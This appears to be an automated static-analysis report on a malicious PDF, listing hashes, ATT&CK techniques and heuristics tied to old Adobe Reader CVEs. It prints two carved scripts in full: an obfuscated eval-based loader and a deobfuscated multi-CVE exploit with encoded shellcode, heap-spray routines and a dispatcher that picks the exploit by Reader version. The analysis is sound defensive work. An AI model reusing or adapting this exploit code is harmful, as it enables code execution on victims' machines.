Malicious PDF — malware analysis report

Static analysis result for SHA-256 ed254c57b968f374…

MALICIOUS

PDF

25.3 KB Created: 2011-72-51 03:25:00 Authoring application: String.fromCharCode First seen: 2026-05-09
MD5: 99d14f6b9fd8d7f2f83153b18829941d SHA-1: 53063e928dae474bc276b39270d8f9de56fd361d SHA-256: ed254c57b968f374243d6bc293605dd83731011b00c14f750bf03beea053e990
516 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 Command and Scripting Interpreter: PowerShell T1204.002 Malicious File: User Execution: Malicious File

The PDF file was flagged as malicious by an ML classifier with a high confidence score. Static analysis revealed embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The presence of String.fromCharCode further suggests obfuscation within the JavaScript. The embedded JavaScript file, 'javascript_obj0001_000.js', is likely responsible for executing the malicious payload, potentially downloading and running a second-stage artifact.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 11

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /Producer (String.fromCharCode)
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF metadata arithmetic JavaScript stager high PDF_INFO_ARITHMETIC_JS_STAGER
    PDF metadata hides JavaScript as arithmetic character-code tokens inside document information fields, then a launcher rebuilds it with String.fromCharCode and eval. The decoder is gated on metadata access from the launcher, a large arithmetic token table, and recovered exploit-like JavaScript.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xA 562 bytes
SHA-256: ff80a4e63cea458ce696eb29ff2c7da248b9472579714933a77511a96772a481
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var date = new Date();
mnh='';
var q = date.getFullYear()-2007;
nhmbn='2011s'.replace(date.getFullYear(),'hi');
doc=('tit2011').replace(date.getFullYear(),'le');
g=new Function('a','return t'+nhmbn+'[a]');
var yxwd = g(doc);
tmmio=('sub2011').replace(date.getFullYear(),'ject');
var enn=g(tmmio).replace(date.getFullYear(),'al');
vaxvm=g(enn);
xjsk='pro2011cer';
xjsk=vaxvm('xjsk.replace(date.getFullYear(),"du")');
yum=vaxvm(g(xjsk));
xtv = vaxvm(yxwd);
for (i = 0; i < xtv.length; i++) {
	jrrkt = xtv[i];
	mnh += yum(jrrkt);
}
vaxvm(mnh);
info_arithmetic_stage_000.js deobfuscated-js PDF /Info Title arithmetic JavaScript at offset 0x2FB 3636 bytes
SHA-256: 8ff8612969aa42f66372b398e4ff9cd3c89b1a04934909bde96242f7db438126
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u37b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%u6f34%ue2aa%uc3fa%ue5e8%uffff%u86ff%u6e63%u6f6f%uee31%u3383%u6f6e%ue66f%ue288%u7f20%u00e2%u5e3b%u38b4%u3c3e%u3c3c%u3c3c%u3c3c%u3c3a%u073c%u6e6b%u6f6f%u393a%u073c%u0100%u6f6f%u1a07%u031d%u3b02%ue107%u6121%u8783%u6f27%u6f6f%u873f%u6f13%u6f6f%ubf90%uabec%u0767%u8020%u6a20%u873f%u6f03%u6f6f%ubf90%uafea%u781a%u3b05%u9c36%u07c5%u911d%u79dc%u7287%u6f6f%u3f6f%u3e87%u6f6f%u906f%u3cbf%u9105%ue607%u6e00%u87d2%u6f67%u6f6f%u873f%u6f53%u6f6f%ubf90%u5e0f%u0baf%u3fe4%ue45f%u633d%u3de4%ue47b%u471d%u77d6%u6f6f%u5e6f%u5e90%uc3af%u0e53%u6d13%u4f43%ua0ae%u6e62%u8da8%uee9f%u3490%u25d3%ue405%u7f2d%u7de4%ub61a%u2be6%u734b%uac0e%ue40f%u4b03%ue44b%u532a%u3be4%u176a%u856e%u25e4%ue477%u4f35%u846e%u5b8c%ue426%ue45b%u816e%u905e%uaf5e%uc393%uafeb%u681b%ua0ae%u6e62%u84a8%u549b%u4b13%u1a47%ue48e%u4b35%u846e%ue409%u2463%u35e4%u6e73%ue484%ue46b%u876e%u2be6%u734b%uad0e%u6f67%u8087%u9091%u0790%u1b1b%u551f%u4040%u0b09%u0c17%u0c41%u4100%u0c0c%u0b40%u1f41%u1f07%u0950%u5d52%u4959%u520a%u6f5c';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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